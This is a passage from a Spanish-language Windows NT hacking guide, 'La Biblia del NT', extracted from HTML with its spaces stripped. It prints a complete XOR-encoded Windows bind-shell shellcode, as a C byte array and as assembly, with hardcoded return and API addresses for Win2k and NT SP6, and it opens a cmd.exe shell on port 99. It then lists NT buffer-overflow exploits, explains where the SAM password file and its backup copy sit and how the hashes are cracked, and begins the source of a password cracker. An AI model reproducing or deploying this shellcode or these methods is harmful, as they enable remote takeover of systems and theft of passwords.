db012h,01ch,0c8h,0bfh,0d9h,099h,0c9h,014h,02ch
db070h,0bch,0d9h,099h,034h,0c9h,066h,00ch,0deh
db0bch,0d9h,099h,0f3h,0a9h,066h,00ch,0d6h,0bch
db0d9h,099h,012h,01ch,0fch,0bfh,0d9h,099h,0f3h
db099h,0c9h,014h,02ch,0c8h,0bfh,0d9h,099h,034h
db0c9h,014h,02ch,0c0h,0bfh,0d9h,099h,034h,0c9h
db066h,00ch,093h,0bch,0d9h,099h,0f3h,099h,014h
db024h,0fch,0bfh,0d9h,099h,0ceh,0f3h,099h,0f3h
db099h,0f3h,099h,014h,02ch,070h,0bch,0d9h,099h
db034h,0c9h,066h,00ch,0a6h,0bch,0d9h,099h,0f3h
db0a9h,066h,00ch,0d6h,0bch,0d9h,099h,0aah,050h
db0a0h,014h,0fch,0bfh,0d9h,099h,096h,01eh,0feh
db066h,066h,066h,0f3h,099h,0f1h,099h,0b9h,099h
db099h,009h,014h,02ch,0c8h,0bfh,0d9h,099h,034h
db0c9h,014h,02ch,0c0h,0bfh,0d9h,099h,034h,0c9h
db066h,00ch,097h,0bch,0d9h,099h,010h,01ch,0f8h
db0bfh,0d9h,099h,0f3h,099h,014h,024h,0fch,0bfh
db0d9h,099h,0ceh,0c9h,014h,02ch,0c8h,0bfh,0d9h
db099h,034h,0c9h,014h,02ch,074h,0bch,0d9h,099h
db034h,0c9h,066h,00ch,0d2h,0bch,0d9h,099h,0f3h
db0a9h,066h,00ch,0d6h,0bch,0d9h,099h,0f3h,099h
db012h,01ch,0f8h,0bfh,0d9h,099h,014h,024h,0fch
db0bfh,0d9h,099h,0ceh,0c9h,012h,01ch,0c8h,0bfh
db0d9h,099h,0c9h,014h,02ch,070h,0bch,0d9h,099h
db034h,0c9h,066h,00ch,0deh,0bch,0d9h,099h,0f3h
db0a9h,066h,00ch,0d6h,0bch,0d9h,099h,070h,020h
db067h,066h,066h,014h,02ch,0c0h,0bfh,0d9h,099h
db034h,0c9h,066h,00ch,08bh,0bch,0d9h,099h,014h
db02ch,0c4h,0bfh,0d9h,099h,034h,0c9h,066h,00ch
db08bh,0bch,0d9h,099h,0f3h,099h,066h,00ch,0ceh
db0bch,0d9h,099h,0c8h,0cfh,0f1h,LLB4,LLB3,LLB2
dbLLB1,009h,0c3h,066h,08bh,0c9h,0c2h,0c0h,0ceh
db0c7h,0c8h,0cfh,0cah,0f1h,GPB4,GPB3,GPB2,GPB1
db009h,0c3h,066h,08bh,0c9h,035h,01dh,059h,0ech
db062h,0c1h,032h,0c0h,07bh,070h,05ah,0ceh,0cah
db0d6h,0dah,0d2h,0aah,0abh,099h,0eah,0f6h,0fah
db0f2h,0fch,0edh,099h,0fbh,0f0h,0f7h,0fdh,099h
db0f5h,0f0h,0eah,0edh,0fch,0f7h,099h,0f8h,0fah
db0fah,0fch,0e9h,0edh,099h,0eah,0fch,0f7h,0fdh
db099h,0ebh,0fch,0fah,0efh,099h,0fah,0f5h,0f6h
db0eah,0fch,0eah,0f6h,0fah,0f2h,0fch,0edh,099h
db0d2h,0dch,0cbh,0d7h,0dch,0d5h,0aah,0abh,099h
db0dah,0ebh,0fch,0f8h,0edh,0fch,0c9h,0f0h,0e9h
db0fch,099h,0deh,0fch,0edh,0cah,0edh,0f8h,0ebh
db0edh,0ech,0e9h,0d0h,0f7h,0ffh,0f6h,0d8h,099h
db0dah,0ebh,0fch,0f8h,0edh,0fch,0c9h,0ebh,0f6h
db0fah,0fch,0eah,0eah,0d8h,099h,0c9h,0fch,0fch
db0f2h,0d7h,0f8h,0f4h,0fch,0fdh,0c9h,0f0h,0e9h
db0fch,099h,0deh,0f5h,0f6h,0fbh,0f8h,0f5h,0d8h
db0f5h,0f5h,0f6h,0fah,099h,0cbh,0fch,0f8h,0fdh
db0dfh,0f0h,0f5h,0fch,099h,0ceh,0ebh,0f0h,0edh
db0fch,0dfh,0f0h,0f5h,0fch,099h,0cah,0f5h,0fch
db0fch,0e9h,099h,0dah,0f5h,0f6h,0eah,0fch,0d1h
db0f8h,0f7h,0fdh,0f5h,0fch,099h,0dch,0e1h,0f0h
db0edh,0c9h,0ebh,0f6h,0fah,0fch,0eah,0eah,099h
db0dah,0f6h,0fdh,0fch,0fdh,0b9h,0fbh,0e0h,0b9h
db0e5h,0c3h,0f8h,0f7h,0b9h,0a5h,0f0h,0e3h,0f8h
db0f7h,0d9h,0fdh,0fch,0fch,0e9h,0e3h,0f6h,0f7h
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

54/83

27/11/2014

LaBibliadelNT

db0fch,0b7h,0f6h,0ebh,0feh,0a7h,09bh,099h,086h
db0d1h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,095h,099h,099h,099h,099h
db099h,099h,099h,098h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,0dah
db0d4h,0ddh,0b7h,0dch,0c1h,0dch,099h,099h,099h
db099h,099h,089h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,099h,099h,099h,099h,099h
db099h,099h,099h,099h,090h,090h,090h,090h,090h
<>
endx86/asm
Finalizacodigodeshellcode

Acontinuacionsemuestralasegundayultimashellcode,desunx.

Comienzacodigodeshellcode
<++>xploits/shellcode2.c
/****************************************************************************
WinShellCodeWritenbysunx
sunx@cnns.net,http://www.cnns.net
ThisshellcodeworkslikemostremoteUNIXshell
itwilllistenonport99,
whentelnettochisport,acmd.exeshellwillactive
Itisasmcodeisfollowed.
Forremovechar(0)indata
shellcodeisxor0x99,itwilldecodeitself,whenonrun
whenoverflow,runtimecpumirroris:
RRRRNOPNOPNOPNOPNOPNOPNOPShellCodeShellCodeShellCode
^^
||
||
ESPpointtohereshellcodeplacehere
ESPmustlessthanshellcodestartaddress,whenrunthisshellcode
[root@Linux/]#telnet192.168.0.599
Trying192.168.0.5...
Connectedtosunx(192.168.0.5).
Escapecharacteris'^]'.
MicrosoftWindows2000[Version5.00.2195]
(C)19852000MicrosoftCorp.
E:\work\asm\winshell\conv>cd\
cd\
E:\>^]q
Connectionclosed.
[root@Linux/]#telnet192.168.0.599
Trying192.168.0.5...
Connectedtosunx(192.168.0.5).
Escapecharacteris'^]'.
E:\>c:
c:
C:\>
***************************************************************************/
#ifndefWINSHELLCODE_H
#defineWINSHELLCODE_H
constunsignedlongOfsShellCodeLoadLib=0x436
constunsignedlongOfsShellCodeGetProc=0x43a
constunsignedlongOfsShellCodeShell=0x442
constunsignedlongJMPESP_Win2k2195=0x77e6898b
constunsignedlongJMPESP_WinNTsp6=0x77f0eac3
constunsignedlongLoadLib_Win2k2195=0x77e67273
constunsignedlongGetProc_Win2k2195=0x77e67031
constunsignedlongLoadLib_WinNTsp6=0x77ee391a
constunsignedlongGetProc_WinNTsp6=0x77ee4111
unsignedcharshellcode[]=
{
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

55/83

27/11/2014

LaBibliadelNT

0x8b,0xfc,0xb8,0x73,0x75,0x6e,0x78,0x47,0x39,0x07,
0x75,0xfb,0x8d,0x6f,0xfd,0x8d,0x7d,0x26,0x90,0x90,
0x90,0x8b,0xf7,0xb4,0x99,0xfc,0xac,0x32,0xc4,0xaa,
0x81,0x3e,0x73,0x75,0x6e,0x78,0x75,0xf4,0x14,0x24,
0xdb,0x9d,0x99,0x99,0x65,0xaa,0x50,0x28,0xb9,0x29,
0xbd,0x6b,0x37,0x5f,0xde,0x66,0x99,0x71,0x4c,0x9b,
0x99,0x99,0x71,0x41,0x98,0x99,0x99,0x10,0x1c,0xb3,
0x9d,0x99,0x99,0x71,0x44,0x98,0x99,0x99,0x71,0xcb,
0x9b,0x99,0x99,0x10,0x1c,0xb7,0x9d,0x99,0x99,0x71,
0x9d,0x98,0x99,0x99,0x12,0x1c,0xb7,0x9d,0x99,0x99,
0x71,0x88,0x9b,0x99,0x99,0x10,0x1c,0xab,0x9d,0x99,
0x99,0x71,0x9b,0x99,0x99,0x99,0x72,0x71,0x12,0x1c,
0x8f,0x9d,0x99,0x99,0x71,0x28,0x99,0x99,0x99,0x1a,
0x61,0x99,0xed,0xc0,0x09,0x09,0x09,0x09,0xaa,0x59,
0xc9,0x14,0x1c,0xbf,0x9d,0x99,0x99,0xc9,0xaa,0x59,
0x2d,0x9d,0xc9,0x12,0x1c,0xb3,0x9d,0x99,0x99,0xc9,
0x12,0x1c,0x8f,0x9d,0x99,0x99,0xc9,0x66,0x0c,0x55,
0x9a,0x99,0x99,0x1a,0x61,0x99,0xed,0xe4,0x09,0x09,
0x09,0x09,0xaa,0x59,0xc9,0x12,0x1c,0xbf,0x9d,0x99,
0x99,0xc9,0x12,0x1c,0xb3,0x9d,0x99,0x99,0xc9,0x12,
0x1c,0xab,0x9d,0x99,0x99,0xc9,0x66,0x0c,0x93,0x9d,
0x99,0x99,0x1a,0x61,0x99,0xe5,0xcf,0x09,0x09,0x09,
0x09,0x72,0x0e,0xaa,0x59,0xc9,0x2d,0x9d,0xc9,0x12,
0x1c,0xb3,0x9d,0x99,0x99,0xc9,0x12,0x1c,0xab,0x9d,
0x99,0x99,0xc9,0x66,0x0c,0x96,0x9d,0x99,0x99,0x1a,
0x61,0x99,0xe5,0xa8,0x09,0x09,0x09,0x09,0xaa,0x42,
0xca,0x14,0x04,0xbf,0x9d,0x99,0x99,0xca,0xc9,0x12,
0x1c,0xb3,0x9d,0x99,0x99,0xc9,0x12,0x1c,0xbb,0x9d,
0x99,0x99,0xc9,0x66,0x0c,0x5b,0x9a,0x99,0x99,0x1a,
0x61,0x99,0xed,0x90,0x09,0x09,0x09,0x09,0x70,0xde,
0x66,0x66,0x66,0xaa,0x59,0x5a,0xaa,0x42,0xca,0x14,
0x04,0xc7,0x98,0x99,0x99,0xca,0xaa,0x42,0xca,0xca,
0xca,0xc9,0x66,0x0c,0x31,0x9a,0x99,0x99,0x1a,0x61,
0x99,0xed,0x92,0x09,0x09,0x09,0x09,0x12,0x1c,0xc7,
0x98,0x99,0x99,0x5a,0x21,0x99,0x99,0x99,0x99,0x5a,
0x99,0x99,0x99,0x99,0x14,0x1c,0x52,0x98,0x99,0x99,
0x5e,0x99,0xdd,0x99,0x99,0x99,0xc9,0x66,0x0c,0xe4,
0x9a,0x99,0x99,0x12,0x1c,0x83,0x9d,0x99,0x99,0x10,
0x1c,0x92,0x9b,0x99,0x99,0x10,0x1c,0x9e,0x9b,0x99,
0x99,0x12,0x1c,0x87,0x9d,0x99,0x99,0x10,0x1c,0x9a,
0x9b,0x99,0x99,0xaa,0x59,0xff,0x21,0x98,0x98,0x10,
0x1c,0x6e,0x98,0x99,0x99,0x14,0x1c,0x52,0x98,0x99,
0x99,0xc9,0xc9,0xaa,0x59,0xc9,0xc9,0xc9,0xd9,0xc9,
0xd1,0xc9,0xc9,0x14,0x1c,0xdb,0x9d,0x99,0x99,0xc9,
0xaa,0x59,0xc9,0x66,0x0c,0x14,0x9a,0x99,0x99,0x1a,
0x61,0x99,0x96,0x1d,0xdb,0x98,0x99,0x99,0x5a,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0xaa,
0x59,0x2d,0x9d,0xc9,0x58,0x71,0x9d,0xc9,0x66,0x0c,
0x2f,0x9a,0x99,0x99,0x5a,0xaa,0x59,0xc9,0x14,0x1c,
0xf7,0x9b,0x99,0x99,0x5e,0x99,0x95,0x99,0x99,0x99,
0xc9,0x14,0x1c,0x83,0x9d,0x99,0x99,0xc9,0x14,0x1c,
0x8f,0x9d,0x99,0x99,0xc9,0x66,0x0c,0xeb,0x9a,0x99,
0x99,0xaa,0x59,0xc9,0x14,0x1c,0xf7,0x9b,0x99,0x99,
0xc9,0x14,0x1c,0xbb,0x9d,0x99,0x99,0xc9,0x14,0x1c,
0x87,0x9d,0x99,0x99,0xc9,0x66,0x0c,0xeb,0x9a,0x99,
0x99,0x5a,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x98,0x99,0x99,0x99,0xc9,0x14,0x04,0x38,0x9b,0x99,
0x99,0x5e,0x9a,0x89,0x99,0x99,0x99,0xca,0x14,0x04,
0x65,0x9b,0x99,0x99,0xca,0xc9,0x66,0x0c,0x9a,0x9d,
0x99,0x99,0x12,0x41,0x1a,0x61,0x99,0xc1,0xe5,0x45,
0x12,0x5a,0x5a,0x89,0x99,0x99,0x99,0xaa,0x59,0xc9,
0xd9,0xc9,0xd9,0xc9,0x66,0x0c,0x69,0x9a,0x99,0x99,
0x1a,0x61,0x66,0xed,0xdb,0x09,0x09,0x09,0x09,0x10,
0x1c,0xb7,0x9d,0x99,0x99,0xf3,0x89,0x14,0x04,0x65,
0x9b,0x99,0x99,0xca,0xc9,0x66,0x0c,0x6e,0x9a,0x99,
0x99,0x1a,0x61,0x99,0xec,0xba,0x09,0x09,0x09,0x09,
0xf3,0x9c,0x12,0x1c,0xb7,0x9d,0x99,0x99,0xc9,0x66,
0x0c,0x65,0x9a,0x99,0x99,0x1a,0x61,0x99,0xec,0x92,
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

56/83

27/11/2014

LaBibliadelNT

0x09,0x09,0x09,0x09,0x12,0x1c,0xb7,0x9d,0x99,0x99,
0x5a,0xaa,0x59,0x5a,0x9b,0x99,0x99,0xfa,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x66,0x0c,0x42,0x9a,0x99,0x99,0x5a,0x14,0x24,0xf0,
0x9a,0x99,0x99,0x12,0x5e,0xce,0x71,0xb6,0x99,0x99,
0x99,0xc6,0xc9,0xab,0x59,0xaa,0x50,0x6e,0x48,0x65,
0x6b,0x37,0xc1,0x19,0xa6,0x99,0xed,0x8e,0x09,0x09,
0x09,0x09,0xc9,0xce,0x12,0x46,0x71,0x84,0x99,0x99,
0x99,0xc6,0x10,0x9e,0xc1,0xde,0xde,0xde,0xde,0x72,
0x40,0xde,0x19,0xa6,0x99,0xec,0x53,0x5a,0xca,0x14,
0x04,0xaf,0x9d,0x99,0x99,0xc9,0x66,0x8a,0xc2,0x5a,
0xce,0x14,0x24,0xa3,0x9d,0x99,0x99,0xca,0xc9,0x66,
0x8e,0xc6,0x5a,0xd2,0xdc,0xcb,0xd7,0xdc,0xd5,0xaa,
0xab,0x99,0xda,0xeb,0xfc,0xf8,0xed,0xfc,0xc9,0xf0,
0xe9,0xfc,0x99,0xde,0xfc,0xed,0xca,0xed,0xf8,0xeb,
0xed,0xec,0xe9,0xd0,0xf7,0xff,0xf6,0xd8,0x99,0xda,
0xeb,0xfc,0xf8,0xed,0xfc,0xc9,0xeb,0xf6,0xfa,0xfc,
0xea,0xea,0xd8,0x99,0xda,0xf5,0xf6,0xea,0xfc,0xd1,
0xf8,0xf7,0xfd,0xf5,0xfc,0x99,0xc9,0xfc,0xfc,0xf2,
0xd7,0xf8,0xf4,0xfc,0xfd,0xc9,0xf0,0xe9,0xfc,0x99,
0xde,0xf5,0xf6,0xfb,0xf8,0xf5,0xd8,0xf5,0xf5,0xf6,
0xfa,0x99,0xce,0xeb,0xf0,0xed,0xfc,0xdf,0xf0,0xf5,
0xfc,0x99,0xcb,0xfc,0xf8,0xfd,0xdf,0xf0,0xf5,0xfc,
0x99,0xca,0xf5,0xfc,0xfc,0xe9,0x99,0xdc,0xe1,0xf0,
0xed,0xc9,0xeb,0xf6,0xfa,0xfc,0xea,0xea,0x99,0x99,
0xce,0xca,0xd6,0xda,0xd2,0xaa,0xab,0x99,0xea,0xf6,
0xfa,0xf2,0xfc,0xed,0x99,0xfb,0xf0,0xf7,0xfd,0x99,
0xf5,0xf0,0xea,0xed,0xfc,0xf7,0x99,0xf8,0xfa,0xfa,
0xfc,0xe9,0xed,0x99,0xea,0xfc,0xf7,0xfd,0x99,0xeb,
0xfc,0xfa,0xef,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0x99,0x99,0x99,0x99,0x99,0x99,0x99,0x99,
0xea,0xeb,0x7f,0xee,//addressofloadlibrarya,itisos
//versiondepended
0xa8,0xe9,0x7f,0xee,//addressofgetprocaddress,itisos
//versiondepended
0x73,0x75,0x6e,0x78,//sunx,itisadecodeflag,don't
//modifyit
0x63,0x6d,0x64,0x2e,0x65,0x78,0x65,0x24,//cmd.exe$,
0x00//youcanmodifyitfreely,
}
/***************************************************************************
***************************************************************************
Writtenbysunx
***************************************************************************
.486
.modelflat
locals
.code
shellcodebegin:
movedi,esp
moveax,'xnus'
findnext:incedi
cmp[edi],eax
jnzfindnext
leaebp,[edi+offsetshellcodebeginoffsetfindnext+4]
leaedi,[ebp+offsetmainoffsetshellcodebegin]
movesi,edi
movah,99h
cld
xorloop:
lodsb
xoral,ah
stosb
cmpdwordptr[esi],'xnus'
jnzxorloop
main:leaedi,[ebp+offsetcmdoffsetshellcodebegin]
cld
xorecx,ecx
movcl,32
moval,'$'
repnzscasb
movbyteptr[edi1],0
callprocessapi
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

57/83

27/11/2014

LaBibliadelNT

callinitpbuf
mov[ebp+offsetpbufoffsetshellcodebegin],eax
callinitpipe
callinitsock
mov[ebp+offsetaccepthandoffsetshellcodebegin],eax
callinitshell
runloop:
moveax,[ebp+offsetaccepthandoffsetshellcodebegin]
callgetaconnect
mov[ebp+offsetsockhandoffsetshellcodebegin],eax
callrunshell
jmprunloop
*************************************************************************
runshellproc
@@peek:moveax,[ebp+offsetpipeAreadoffsetshellcodebegin]
callpeekdata
cmpeax,0
jz@@readinput
readfile()
xoreax,eax
pusheax
leaeax,[ebp+offsetioffsetshellcodebegin]
pusheax
xoreax,eax
movah,4
pusheax
moveax,[ebp+offsetpbufoffsetshellcodebegin]
pusheax
moveax,[ebp+offsetpipeAreadoffsetshellcodebegin]
pusheax
call[ebp+offsetreadfileoffsetshellcodebegin]
cmpeax,0
jz@@exit
send()
xoreax,eax
pusheax
moveax,[ebp+offsetioffsetshellcodebegin]
pusheax
moveax,[ebp+offsetpbufoffsetshellcodebegin]
pusheax
moveax,[ebp+offsetsockhandoffsetshellcodebegin]
pusheax
call[ebp+offsetsendoffsetshellcodebegin]
call[ebp+offsetwsagetlasterroroffsetshellcodebegin]
cmpeax,0
jl@@exit
jmp@@peek
@@readinput:
xoreax,eax
pusheax
movah,4
pusheax
moveax,[ebp+offsetpbufoffsetshellcodebegin]
pusheax
moveax,[ebp+offsetsockhandoffsetshellcodebegin]
pusheax
call[ebp+offsetrecvoffsetshellcodebegin]
cmpeax,0
jl@@exit
xorebx,ebx
pushebx
leaebx,[ebp+offsetioffsetshellcodebegin]
pushebx
pusheax
moveax,[ebp+offsetpbufoffsetshellcodebegin]
pusheax
moveax,[ebp+offsetpipeBwriteoffsetshellcodebegin]
pusheax
call[ebp+offsetwritefileoffsetshellcodebegin]
cmpeax,0
jz@@exit
jmp@@peek

@@exit:xoreax,eax
ret
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

58/83

27/11/2014

LaBibliadelNT

runshellendp
***************************************************************************
peekdataproccallwitheax=pipehand,returneax=bytesshouldberead
xorebx,ebx
pushebx
leaebx,[ebp+offsetpeekioffsetshellcodebegin]
pushebx
xorebx,ebx
pushebx
pushebx
pushebx
pusheax
call[ebp+offsetpeeknamedpipeoffsetshellcodebegin]
cmpeax,0
jz@@error
moveax,[ebp+offsetpeekioffsetshellcodebegin]
ret
@@error:moveax,0
ret
peekidd0
peekdataendp
***************************************************************************
initshellproc
leaeax,[ebp+offsetStartupInfooffsetshellcodebegin]
movdwordptr[eax],044h
pusheax
call[ebp+offsetgetstartupinfooffsetshellcodebegin]
buildstartinfo
moveax,[ebp+offsetpipeAwriteoffsetshellcodebegin]
mov[ebp+offsetStartupInfooffsetshellcodebegin+40h],eax
mov[ebp+offsetStartupInfooffsetshellcodebegin+3ch],eax
moveax,[ebp+offsetpipeBreadoffsetshellcodebegin]
mov[ebp+offsetStartupInfooffsetshellcodebegin+38h],eax
xoreax,eax
movax,0101h
mov[ebp+offsetStartupInfooffsetshellcodebegin+2Ch],eax
leaeax,[ebp+offsetStartupInfooffsetshellcodebegin]
pusheax
pusheax
xoreax,eax
pusheax
pusheax
pusheax
inceax
pusheax
deceax
pusheax
pusheax
leaeax,[ebp+offsetcmdoffsetshellcodebegin]
pusheax
xoreax,eax
pusheax
call[ebp+offsetcreateprocessoffsetshellcodebegin]
cmpeax,0
jzexitshell
ret
StartupInfodb50hdup(0)
initshellendp
***************************************************************************
initpbufprocreturneax=buf
xoreax,eax
movah,4
pusheax
shreax,4
pusheax
call[ebp+offsetglobalallocoffsetshellcodebegin]
ret
initpbufendp
***************************************************************************
initpipeproc
xoreax,eax
pusheax
leaeax,[ebp+offsetpipeattroffsetshellcodebegin]
movdwordptr[eax],0ch
pusheax
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

59/83

27/11/2014

LaBibliadelNT

leaeax,[ebp+offsetpipeAwriteoffsetshellcodebegin]
pusheax
leaeax,[ebp+offsetpipeAreadoffsetshellcodebegin]
pusheax
call[ebp+offsetcreatepipeoffsetshellcodebegin]
xoreax,eax
pusheax
leaeax,[ebp+offsetpipeattroffsetshellcodebegin]
pusheax
leaeax,[ebp+offsetpipeBwriteoffsetshellcodebegin]
pusheax
leaeax,[ebp+offsetpipeBreadoffsetshellcodebegin]
pusheax
call[ebp+offsetcreatepipeoffsetshellcodebegin]
ret
pipeattrlabel
lendd0
lpSecDescdd0
bInheritdd1
initpipeendp
***************************************************************************

getaconnectprocreturneax=sock,callwitheax=sock

@@next:pusheax
leaebx,[ebp+offset@@acceptioffsetshellcodebegin]
movdwordptr[ebx],16
pushebx
leaebx,[ebp+offsetsockstrucoffsetshellcodebegin]
pushebx
pusheax
call[ebp+offsetacceptoffsetshellcodebegin]
movebx,eax
cmpeax,0
popeax
jl@@next
moveax,ebx
ret
@@acceptidd16
getaconnectendp
***************************************************************************
initsockprocreturneax=sock

socket()
xoreax,eax
pusheax
inceax
pusheax
inceax
pusheax
call[ebp+offsetsocketoffsetshellcodebegin]
cmpeax,0ffffffffh
jz@@exit
mov[ebp+offsetaccepthandoffsetshellcodebegin],eax
bind()
push10h
leaebx,[ebp+offsetsockstrucoffsetshellcodebegin]
pushebx
pusheax
call[ebp+offsetbindoffsetshellcodebegin]
cmpeax,0
jnz@@exit

listen()
push5
moveax,[ebp+offsetaccepthandoffsetshellcodebegin]
pusheax
call[ebp+offsetlistenoffsetshellcodebegin]
cmpeax,0
jnz@@exit
moveax,[ebp+offsetaccepthandoffsetshellcodebegin]
ret
@@exit:xoreax,eax
ret
sockstruclabel
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

60/83

27/11/2014

LaBibliadelNT

sin_familydw0002h
sin_portdw6300h
sin_addrdd0
sin_zerodb8dup(0)
initsockendp
********+******************************************************************
exitshellproc
call[ebp+offsetexitprocessoffsetshellcodebegin]
ret
exitshellendp
***************************************************************************
processapiproc
kenelapi
leaedi,[ebp+offsetlibraryoffsetshellcodebegin]
@@loadlib:
moveax,edi
pushedi
callloadlib
popedi
@@nextknlapi:
pusheax
xoral,al
xorecx,ecx
notecx
cld
repnzscasb
popeax
cmpbyteptr[edi],0
jz@@nextlib

pusheax
pushedi
movebx,edi
callgetproc
popedi
mov[edi],eax
popeax
incedi
incedi
incedi
incedi
jmp@@nextknlapi
@@nextlib:incedi
cmpbyteptr[edi],0
jnz@@loadlib
@@ret:
ret
processapiendp
***************************************************************************
loadlibproceax=libraryname
pushebx
leaebx,[ebp+offsetLoadLibraryoffsetshellcodebegin]
pusheax
calldwordptr[ebx]
popebx
ret
loadlibendp
***************************************************************************
getprocproceax=handle,ebx=procname
pushedi
leaedi,[ebp+offsetGetProcAddroffsetshellcodebegin]
pushebx
pusheax
calldwordptr[edi]
popedi
ret
getprocendp
***************************************************************************
databeginlabel
librarylabel
kerneldb"KERNEL32",0
createpipedb"CreatePipe",0
getstartupinfodb"GetStartupInfoA",0
createprocessdb"CreateProcessA",0
closehandledb"CloseHandle",0
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

61/83

27/11/2014

LaBibliadelNT

peeknamedpipedb"PeekNamedPipe",0
globalallocdb"GlobalAlloc",0
writefiledb"WriteFile",0
readfiledb"ReadFile",0
sleepdb"Sleep",0
exitprocessdb"ExitProcess",0
db0
wsock32db"WSOCK32",0
socketdb"socket",0
binddb"bind",0
listendb"listen",0
acceptdb"accept",0
senddb"send",0
recvdb"recv",0
wsagetlasterrordb"WSAGetLastError",0
db0
db0
pipeAreaddd0
pipeAwritedd0
pipeBreaddd0
pipeBwritedd0
idd0
pbufdd0
accepthanddd0
sockhanddd0
LoadLibrarydd77e67273h
GetProcAddrdd77e67031h
dd'xnus'
cmddb"cmd.exe$"
db0dh,0ah
dataendlabel
.data
ends
endshellcodebegin
***************************************************************************/
#endif//WINSHELLCODE_H
<>
Finalizacodigodeshellcode
Puesahiestan...esposiblequeparacuandosepubliqueestearticuloya
hayansalidomas,peroporloprontoaquiteneisesto.

[8.2BOFS]

Acontinuacionincluyolaurldetodoslosdesbordamientosdebufferen
NTpublicadoshastaahora:

oProgramaafectado:IIS
Autor:eEye(BOFdescubiertopordarkspyrit)
Efectos:ConcedeunashelldecomandosNTconprivilegiosdesistema.
URL:http://www.eeye.com
oProgramaafectado:NetMeetingversionesanterioresala3.0
Autor:Thecultofthedeadcow(cDc)
Efectos:BajaunosgraficosdelapaginadecDc.
URL:http://www.cultdeadcow.com/cDc_files/cDc351
oProgramaafectado:NTRAS
Autor:Mnemonix
Efectos:Alos8segundosdeserejecutadomasomenosteabreunashell
decomandosdeNTconprivilegiosdesistema.
URL:http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm
oProgramaafectado:Winhlp32
Autor:Mnemonix
Efectos:Ejecutaunarchivobatchconprivilegiosdesistema.
URL:http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm

EstoestodosobrelosoverflowsbajoW2K/WNT.

[9Sam]

ElficheroSAM,eslabasededatosdecuentasdeseguridadlocal.Es
elequivalenteelarchivopasswdenu*x.Seusaparaverificarla
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

62/83

27/11/2014

LaBibliadelNT

autenticidaddelosiniciosdesesiondelosusuarioenelsistema.Dicho
archivoseencuentraen%systemroot%\system32\config\sam.Ahiestael
ficherosamoriginal,yelqueusaNT.ComoesunarchivoqueNTestausando
indefinidamente...nolopodremoscopiar,nieditar,nirenombrar,nihacer
nada.EncambiohayunacopiadeseguridaddelficheroSAMqueseencuentra
en%systemroot%\repair\sam.
Profundicemosunpocomasenestearchivo.

[9.1AnalisisdelasSAM]

LoquedijeantesdequeelficheroSAMcontienelasencriptadosnoes
cierto.Ensulugar,contieneunafuncionhashunidireccionaldelpassword
delusuario.Unafuncionhashunidireccionalloquehaceesprocesarla
entradadelusuarioyreducirlaaunvalorunico.EnNT,sereducela
entradaatextoUnicode,ydespuesleaplicaelalgoritmoMD4paraconvertir
lacontrase~aenunvalorhashunidireccional.
Enelprocesodeautentificacionsehaceestomismo,ysecomparael
resultadoconelvalorenlaSAM.Sisoniguales,elusuarioselogeaenel
sistema.
Estemetododealmacenamientodecontrase~asaseguraquenuncaviajaran
contrase~asporlaredquenoestencodificadas.

[9.2Crackeandolas]

ParapoderdescodificarlosvaloreshashdelarchivoSAM,sedebede
tenerlaimplementacionMD4,ylosnombresdeusuario...oalguncrackeador
decontrase~asdeNT.
Podriaahorarecomendarelusodel0phtCrackyacabarestaseccion,sin
embargoantesquisierainsertaroselcodigofuentedeotrocrackeador,puede
quenotanbuenocomoeldel0phttalcomoapareceaqui,peroconunos
retoquesqueseledierasemejorariamucho...ademasesFreeware.Quemas
quereis?.
ElcodigoestaenC++,paracorrerbajoNT.Paracompilarlonecesitareis
losficherosmd4.c,md4.hybyteorder.h,loscualeslospodreisencontraren
elcodigodeSamba.Demd4.cdeberasborrar3lineas,elifdefSMB_PASSWD,
ysuscorrespondienteselseyendif.
ElcodigoestasacadodelaPhrack50,articulo8,llamado"CrackingNT
Passwords",porNihil.
Esperoquedisfruteisconel.
Comienzaelcodigo
<++>xploits/ntcrack.c
/*
*(C)Nihil1997.Allrightsreserved.AGuildProduction.
*
